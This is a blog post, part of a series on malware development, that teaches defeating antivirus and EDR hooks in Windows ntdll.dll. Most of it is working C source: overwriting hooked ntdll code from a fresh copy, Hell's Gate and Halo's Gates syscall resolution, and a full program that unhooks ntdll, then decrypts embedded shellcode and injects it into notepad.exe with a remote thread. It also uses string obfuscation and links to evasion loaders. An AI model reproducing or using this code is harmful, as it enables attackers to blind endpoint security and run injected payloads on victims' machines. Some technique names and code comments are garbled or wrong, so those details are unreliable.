AV/EDR Evasion | Malware Development P — 3

Hossam Ehab
16 min readMay 14, 2023

Unhooking & Memory Object Hiding

Before we delve into the topic, allow me to reintroduce myself and provide a brief overview of this playlist. My name is Hossam Ehab and I’m here to guide you through the realm of anti-virus (AV) evasion and the techniques used to bypass Endpoint Detection and Response (EDR) systems. This playlist aims to assist you in red team operations by providing insights into the intricate world of AV/EDR evasion.

Today, we will focus on two crucial aspects: Unhooking and Memory Object Hiding. These techniques play a significant role in evading AV and EDR systems, ensuring the stealth and effectiveness of malware development. In the red teaming process, encountering EDRs is almost inevitable, making it essential to equip ourselves with the necessary knowledge to counter their detection mechanisms.

To gain a comprehensive understanding of Unhooking and Memory Object Hiding, it is recommended to read the previous two parts of this series. These articles provide detailed insights into the subject matter:

Part 1 : AV/EDR Evasion | Malware Development | by Hossam Ehab | Medium
Part 2 : AV/EDR Evasion | Malware Development — P2 | by Hossam Ehab | Medium

By exploring these articles, you will gain a solid foundation in AV/EDR evasion techniques, setting the stage for our discussion on Unhooking and Memory Object Hiding. Stay tuned for an in-depth exploration of these topics and their practical applications in red team operations.

Remember, knowledge and preparation are key in navigating the ever-evolving landscape of AV/EDR evasion. Let’s continue this journey together, empowering ourselves with the tools and techniques necessary to achieve success.

To fully grasp the concept of unhooking, it is crucial to understand the underlying principle of “hooking” itself. APIs (application programming interfaces) serve as a means for software code to execute specific actions within a computer system. In Windows, there are APIs like syscall that enable direct system or kernel-level access for executing instructions.

In the realm of EDR (Endpoint Detection and Response) solutions, these security tools often employ a technique called “hooking” to monitor and identify suspicious activities. This is achieved by injecting their own code into a specific Windows component known as ntdll.dll, which acts as a gateway for various system operations.

Now, unhooking comes into play as a method employed by attackers to replace the hooked version of ntdll.dll with a fresh, unhooked version. They carry out this process after Windows has already loaded the EDR-hooked version during the process launch. By doing so, the EDR solution remains unaware of any subsequent code execution, losing its ability to monitor the return address for API calls. Consequently, it becomes ineffective in detecting and responding to potential threats.

In more sophisticated attacks, hackers may take their efforts a step further by “re-hooking” the EDR solution towards the end of their operation. This involves restoring the original hooked version of ntdll.dll, effectively erasing any traces of suspicious activity and making it appear as though nothing untoward had occurred.

By understanding the mechanics of hooking and unhooking, it becomes evident how attackers can manipulate EDR systems to evade detection and carry out their malicious actions undetected.

Unhooking Techniques:

Let’s see now how to see the hook bytes and how to unhook, First let’s see how the malware have been hooked by the EDR

  1. Open x64 dbg
  2. Run your malware or any program and attach it
  3. Go to Symbols section then go to the ntdll.dll part
  4. Search for NtAdjustPrivilegesToken and click it.

And now it’s jmp instruction It’s hooked!, so in real scinarios malwares remove this instruction, and like we said that there are many techniques so what are the techniques for unhooking?

  1. Unhook by fresh ntdll copy. This is a very famous technique used by hackers and malware authors, the hacker starts to parse the ntdll to find the .text section

Then we copy fresh .text section into ntdll memory and let’s see the function code

static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
/*
UnhookNtdll() finds .text segment of fresh loaded copy of ntdll.dll and copies over the hooked one
*/
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping;
PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew);
int i;

unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };

VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sVirtualProtect);

// find .text section
for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) +
((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char *) pImgSectionHead->Name, ".text")) {
// prepare ntdll.dll memory region for write permissions.
VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldprotect);
if (!oldprotect) {
// RWX failed!
return -1;
}
// copy fresh .text section into ntdll memory
memcpy( (LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
(LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize);

// restore original protection settings of ntdll memory
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
oldprotect,
&oldprotect);
if (!oldprotect) {
// it failed
return -1;
}
return 0;
}
}

// failed? .text not found!
return -1;
}
int main(void) {

int pid = 0;
HANDLE hProc = NULL;

//unsigned char sNtdllPath[] = "c:\\windows\\system32\\";
unsigned char sNtdllPath[] = { 0x59, 0x0, 0x66, 0x4d, 0x53, 0x54, 0x5e, 0x55, 0x4d, 0x49, 0x66, 0x49, 0x43, 0x49, 0x4e, 0x5f, 0x57, 0x9, 0x8, 0x66, 0x54, 0x4e, 0x5e, 0x56, 0x56, 0x14, 0x5e, 0x56, 0x56, 0x3a };

unsigned char sCreateFileMappingA[] = { 'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A', 0x0 };
unsigned char sMapViewOfFile[] = { 'M','a','p','V','i','e','w','O','f','F','i','l','e',0x0 };
unsigned char sUnmapViewOfFile[] = { 'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e', 0x0 };

unsigned int sNtdllPath_len = sizeof(sNtdllPath);
unsigned int sNtdll_len = sizeof(sNtdll);
int ret = 0;
HANDLE hFile;
HANDLE hFileMapping;
LPVOID pMapping;

// get function pointers
CreateFileMappingA_t CreateFileMappingA_p = (CreateFileMappingA_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sCreateFileMappingA);
MapViewOfFile_t MapViewOfFile_p = (MapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sMapViewOfFile);
UnmapViewOfFile_t UnmapViewOfFile_p = (UnmapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sUnmapViewOfFile);

// open ntdll.dll
XORcrypt((char *) sNtdllPath, sNtdllPath_len, sNtdllPath[sNtdllPath_len - 1]);
hFile = CreateFile((LPCSTR) sNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if ( hFile == INVALID_HANDLE_VALUE ) {
// failed to open ntdll.dll
return -1;
}

// prepare file mapping
hFileMapping = CreateFileMappingA_p(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if (! hFileMapping) {
// file mapping failed
CloseHandle(hFile);
return -1;
}

// map the bastard
pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0);
if (!pMapping) {
// mapping failed
CloseHandle(hFileMapping);
CloseHandle(hFile);
return -1;
}

printf("Check 1!\n"); getchar();

// remove hooks
ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pMapping);

printf("Check 2!\n"); getchar();

// Clean up.
UnmapViewOfFile_p(pMapping);
CloseHandle(hFileMapping);
CloseHandle(hFile);

}

The code is very easy we only remove any hooks or modifications applied to the .text segment of the ntdll.dll module, ensuring that the original code is restored and then in the end we close the handles. Let’s see now in the debugger.

Now it removed ^_^

The second unhooking technique is called “Hells Gate.” Initially, understanding this technique may seem a bit challenging, but it is actually quite straightforward and fascinating. Let’s delve into how it works.

First, we need to obtain the hash for the function we are interested in. For instance, let’s consider the function NTAllocateVirtualMemory, which has a hash value of 0xf5bd373480a6b89b. Once we have the hash, we attempt to allocate it in ntdll.

In the Hells Gate technique, we search for specific instructions. If we successfully locate these instructions, it indicates that the function has been hooked. This step involves matching the hashes and identifying the relevant instructions. Finally, I will provide the complete code for this process.

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;

// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;

// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;

// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}

cw++;
};
}
}

return TRUE;
}

This is the instructions that we finding it

MOV R10, RCX
MOV RCX, <syscall>

In this image :

The rays that i have been put it is the same thing in the code i mentioned :

if (*((PBYTE)pFunctionAddress + cw) == 0x4c     
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00

The first is 4C, 8B, D1 and so on, this means that the function is hooked and then we try to unhook it while we stop to the “syscall” instruction in the image.

INT wmain() {
//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;

// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;

VX_TABLE Table = { 0 };

//__debugbreak();

Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;

Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;

Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;

Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;

printf("VX_Table = %p\n", Table); getchar();

Payload(&Table);
return 0x00;
}

Here it will do the opration 4 time for each API and we will know it easly from the instructions i know it will be complex but really it’s easy

This is the full source code of this technique : TartarusGate/main.c at master · trickster0/TartarusGate · GitHub

The third unhooking technique is called “Halo’s Gates.” It is an enhancement of Hells Gate that enables it to work with ntdll by dynamically resolving system call numbers. Unlike Hells Gate, where we have to specify the number, Halo’s Gates automates this process. To grasp this concept fully, it would be beneficial to examine it practically within a debugger.

Upon inspecting the code, we can observe some straightforward modifications compared to Hells Gate.

   // if hooked check the neighborhood to find clean syscall
if (*((PBYTE)pFunctionAddress) == 0xe9) {

for (WORD idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;

return TRUE;
}
// check neighboring syscall up
if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;

return TRUE;
}

}

If you looking for the diffrent the 0xe9 that the thing we will look at it, now look at the debugger when i’m told you to go you will find jmp instruction in zwCreateThread and beside it you will find the 0xe9, In the code we make for loop that we after function function we add 1 as you see in the code then if we find 1 we take it’s syscall number we -it from the idx

github source code : raulm0429/HalosGate-Cpl-C-: Halos Gate implementation in C++ (github.com)

The fourth unhooking technique is known as “Veles’ Reek.” While there is no specific proof of concept (PoC) available, Abdallah Mohammed has implemented this technique. Reevel’s Reeks builds upon the concepts of both Halo’s Gates and Hell’s Gate.

What makes this technique particularly interesting is that if all the functions, including the ones implemented in Halo’s Gates and Hell’s Gate, when the all functions are hooked that’s impossible that the function will be unhooked so in the tool it will add 1 from the first function. This approach is quite remarkable, as it starts from the first function and progressively continues until it finds the hooked function.

For further information and implementation details, you can refer to Abdullah Elsharif’s repository on GitHub: 0xNinjaCyclone/PowerLoad3r: Malicious PowerShell Scripts Loader Designed to Avoid Detection.

The final technique I’d like to discuss is called “Pernus Fart.” This technique is quite intriguing, although it’s worth noting that modern Endpoint Detection and Response (EDR) systems can potentially detect it. The approach involves creating a new process in suspended mode, followed by parsing the ntdll to determine its size. Then, a new memory is created to accommodate the clean ntdll. Subsequently, the process is deleted since it is no longer needed.

With the clean ntdll in hand, the next step is to remove the hooks. This is achieved by identifying the “.text” section and modifying its protection to allow for copying the clean syscall table into the ntdll memory. To locate the hooked syscall, a creative method is employed: by identifying the beginning and ending bytes of the syscall, a match can be determined, indicating whether it has been hooked or not.

int FindFirstSyscall(char * pMem, DWORD size){

// gets the first byte of first syscall
DWORD i = 0;
DWORD offset = 0;
BYTE pattern1[] = "\x0f\x05\xc3"; // syscall ; ret
BYTE pattern2[] = "\xcc\xcc\xcc"; // int3 * 3

// find first occurance of syscall+ret instructions
for (i = 0; i < size - 3; i++) {
if (!memcmp(pMem + i, pattern1, 3)) {
offset = i;
break;
}
}

// now find the beginning of the syscall
for (i = 3; i < 50 ; i++) {
if (!memcmp(pMem + offset - i, pattern2, 3)) {
offset = offset - i + 3;
printf("First syscall found at 0x%p\n", pMem + offset);
break;
}
}

return offset;
}


int FindLastSysCall(char * pMem, DWORD size) {

// returns the last byte of the last syscall
DWORD i;
DWORD offset = 0;
BYTE pattern[] = "\x0f\x05\xc3\xcd\x2e\xc3\xcc\xcc\xcc"; // syscall ; ret ; int 2e ; ret ; int3 * 3

// backwards lookup
for (i = size - 9; i > 0; i--) {
if (!memcmp(pMem + i, pattern, 9)) {
offset = i + 6;
printf("Last syscall byte found at 0x%p\n", pMem + offset);
break;
}
}

return offset;
}

There are easier way of this in my tool : https://github.com/0xHossam/Killer

And here is the implementation by sektor7 ^_^

/*

Red Team Operator course code template
Perun's Fart - unhooking ntdll w/o reading disk

author: reenz0h (twitter: @SEKTOR7net)

*/
#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include <wincrypt.h>
#include <psapi.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")

// MessageBox shellcode - 64-bit
unsigned char payload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8 };
unsigned char key[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84 };
unsigned int payload_len = sizeof(payload);

typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);

unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*) key, (DWORD) keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, (BYTE *) payload, (DWORD *) &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

//printf("snapshot taken! %x\n", hProcSnap);
pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

//printf("going thru snapshot!\n");

while (Process32Next(hProcSnap, &pe32)) {
//printf("Found: %30s\n", pe32.szExeFile);
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


// classic injection
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;

// Decrypt payload
AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));

pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return 0;
}
return -1;
}


int FindFirstSyscall(char * pMem, DWORD size){

// gets the first byte of first syscall
DWORD i = 0;
DWORD offset = 0;
BYTE pattern1[] = "\x0f\x05\xc3"; // syscall ; ret
BYTE pattern2[] = "\xcc\xcc\xcc"; // int3 * 3

// find first occurance of syscall+ret instructions
for (i = 0; i < size - 3; i++) {
if (!memcmp(pMem + i, pattern1, 3)) {
offset = i;
break;
}
}

// now find the beginning of the syscall
for (i = 3; i < 50 ; i++) {
if (!memcmp(pMem + offset - i, pattern2, 3)) {
offset = offset - i + 3;
printf("First syscall found at 0x%p\n", pMem + offset);
break;
}
}

return offset;
}


int FindLastSysCall(char * pMem, DWORD size) {

// returns the last byte of the last syscall
DWORD i;
DWORD offset = 0;
BYTE pattern[] = "\x0f\x05\xc3\xcd\x2e\xc3\xcc\xcc\xcc"; // syscall ; ret ; int 2e ; ret ; int3 * 3

// backwards lookup
for (i = size - 9; i > 0; i--) {
if (!memcmp(pMem + i, pattern, 9)) {
offset = i + 6;
printf("Last syscall byte found at 0x%p\n", pMem + offset);
break;
}
}

return offset;
}


static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pCache) {
/*
UnhookNtdll() finds fresh "syscall table" of ntdll.dll from suspended process and copies over onto hooked one
*/
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pCache;
PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pCache + pImgDOSHead->e_lfanew);
int i;

unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };

VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sVirtualProtect);

// find .text section
for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

if (!strcmp((char *)pImgSectionHead->Name, ".text")) {
// prepare ntdll.dll memory region for write permissions.
VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldprotect);
if (!oldprotect) {
// RWX failed!
return -1;
}

// copy clean "syscall table" into ntdll memory
DWORD SC_start = FindFirstSyscall((char *) pCache, pImgSectionHead->Misc.VirtualSize);
DWORD SC_end = FindLastSysCall((char *) pCache, pImgSectionHead->Misc.VirtualSize);

if (SC_start != 0 && SC_end != 0 && SC_start < SC_end) {
DWORD SC_size = SC_end - SC_start;
printf("dst (in ntdll): %p\n", ((DWORD_PTR) hNtdll + SC_start));
printf("src (in cache): %p\n", ((DWORD_PTR) pCache + SC_start));
printf("size: %i\n", SC_size);
getchar();
memcpy( (LPVOID)((DWORD_PTR) hNtdll + SC_start),
(LPVOID)((DWORD_PTR) pCache + + SC_start),
SC_size);
}

// restore original protection settings of ntdll
VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
oldprotect,
&oldprotect);
if (!oldprotect) {
// it failed
return -1;
}
return 0;
}
}

// failed? .text not found!
return -1;
}


int main(void) {

int pid = 0;
HANDLE hProc = NULL;
int ret = 0;

STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };

BOOL success = CreateProcessA(
NULL,
(LPSTR)"cmd.exe",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
//CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\",
&si,
&pi);

if (success == FALSE) {
printf("[!] Error: Could not call CreateProcess\n");
return 1;
}

// get the size of ntdll module in memory
char * pNtdllAddr = (char *) GetModuleHandle("ntdll.dll");
IMAGE_DOS_HEADER * pDosHdr = (IMAGE_DOS_HEADER *) pNtdllAddr;
IMAGE_NT_HEADERS * pNTHdr = (IMAGE_NT_HEADERS *) (pNtdllAddr + pDosHdr->e_lfanew);
IMAGE_OPTIONAL_HEADER * pOptionalHdr = &pNTHdr->OptionalHeader;

SIZE_T ntdll_size = pOptionalHdr->SizeOfImage;

// allocate local buffer to hold temporary copy of clean ntdll from remote process
LPVOID pCache = VirtualAlloc(NULL, ntdll_size, MEM_COMMIT, PAGE_READWRITE);

printf("ntdll size: %x | cache: %p\n", ntdll_size, pCache);

SIZE_T bytesRead = 0;
if (!ReadProcessMemory(pi.hProcess, pNtdllAddr, pCache, ntdll_size, &bytesRead))
printf("Error reading: %d | %x\n", bytesRead, GetLastError());

printf("Kill?"); getchar();

TerminateProcess(pi.hProcess, 0);

printf("Done.\n"); getchar();

// remove hooks
printf("Unhooking ntdll\n");
ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pCache);

printf("YAY!\n"); getchar();

// Clean up.
VirtualFree(pCache, 0, MEM_RELEASE);

pid = FindTarget("notepad.exe");

if (pid) {
printf("Notepad.exe PID = %d\n", pid);

// try to open target process
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if (hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return 0;
}

And that concludes our discussion of unhooking techniques. In the next section, we will explore the topic of Hiding Process Memory. Thank you for reading and showing interest in this subject.

Thanks for reading !

--

--

Hossam Ehab

Red Team Analyst @ Dark Entry | Interested in Red Teaming & Malware Researching